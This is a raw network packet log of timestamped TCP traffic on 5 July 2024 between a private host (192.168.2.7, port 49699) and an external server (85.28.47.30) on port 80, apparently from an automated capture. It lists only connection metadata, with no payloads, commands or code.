Jul 5, 2024 06:23:10.952756882 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952766895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952778101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952779055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952789068 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952792883 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952801943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952811956 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952820063 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952824116 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952835083 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952846050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952850103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952857018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952868938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952868938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:10.952887058 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:10.952912092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034459114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034483910 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034497023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034508944 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034519911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034521103 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034533024 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034543991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034544945 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034557104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034568071 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034579992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034590006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034599066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034605026 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034611940 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034621954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034631014 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034636021 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034661055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034687996 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034702063 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034712076 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034723043 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034734964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034746885 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034750938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034759045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034771919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034773111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034801960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034805059 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034820080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034847975 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034849882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034861088 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034871101 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034889936 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034893036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034902096 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034912109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034919024 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034924030 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034934998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034935951 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034967899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034979105 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.034986973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.034990072 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035016060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035022974 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035118103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035128117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035136938 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035156012 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035180092 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035186052 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035197020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035207987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035218954 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035227060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035235882 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035258055 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035275936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035310984 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035321951 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035332918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035342932 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035346031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035358906 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035368919 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035373926 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035382032 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035393000 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035403013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035429001 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035464048 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035480976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035491943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.035506964 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.035528898 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045593023 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045613050 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045624018 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045658112 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045701027 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045705080 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045716047 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045727015 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045737982 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045738935 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045773983 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045789957 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045886040 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045897961 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045908928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045919895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045926094 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045933008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045944929 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045958042 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045962095 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045974016 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045984983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.045986891 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.045999050 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046025991 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046039104 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046049118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046060085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046070099 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046077013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046081066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046091080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046092033 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046104908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046114922 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046117067 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046127081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046139002 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046144962 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046156883 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046158075 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046169996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046173096 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046181917 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046192884 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046199083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046205997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046212912 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046217918 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046230078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046241045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046242952 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046252966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046256065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046283007 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046303988 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046305895 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046315908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046327114 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046338081 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046340942 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046349049 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046355009 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046364069 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046374083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046375990 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046387911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046399117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046407938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046411037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046416998 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046423912 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046435118 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046447992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046463013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046467066 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046478987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046487093 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046490908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046511889 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046514034 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046523094 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046534061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046536922 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046545029 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046556950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046556950 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046569109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046585083 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046586037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046598911 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046601057 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046610117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046618938 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046622038 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046633005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046643972 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046643972 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046657085 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046668053 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046669006 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046679974 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046688080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046693087 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046700954 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046705008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046719074 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046730042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046739101 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046744108 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.046766043 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.046783924 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.128458977 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128473997 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128492117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128524065 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.128556013 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.128578901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128591061 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128602982 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.128617048 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.128638029 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.165083885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.169974089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.356930971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.356960058 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.356973886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.356988907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357002020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357012987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357024908 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357067108 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357136965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357148886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357161045 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357172966 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357184887 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357197046 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357214928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357228041 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357240915 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357254028 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357268095 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357297897 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357299089 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357311964 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357322931 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357333899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357338905 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357347012 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357357979 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357359886 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357367992 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357378960 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357388973 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357389927 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357405901 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357417107 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357418060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357429981 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357433081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357451916 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357459068 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357475042 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357485056 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357491970 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357506037 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357511997 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357527971 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357537031 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357541084 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357553005 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357561111 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357566118 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357578039 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357579947 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357593060 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357608080 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357609987 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357626915 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357630968 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357644081 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357647896 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357660055 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357670069 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357671976 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357682943 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357687950 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357695103 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357708931 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357711077 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357722998 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357733965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357738018 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357747078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357758999 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357764006 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357772112 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357784986 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357790947 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357798100 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357806921 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357811928 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357822895 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357825041 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357836008 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357850075 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357852936 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357861996 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357875109 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357877016 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357887983 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357892036 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357903957 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357916117 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357920885 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357930899 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357944965 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357944965 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357958078 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357961893 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357971907 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357985020 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.357986927 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.357997894 CEST	80	49699	85.28.47.30	192.168.2.7
Jul 5, 2024 06:23:11.358015060 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.358035088 CEST	49699	80	192.168.2.7	85.28.47.30
Jul 5, 2024 06:23:11.808470964 CEST	49699	80	192.168.2.7	85.28.47.30
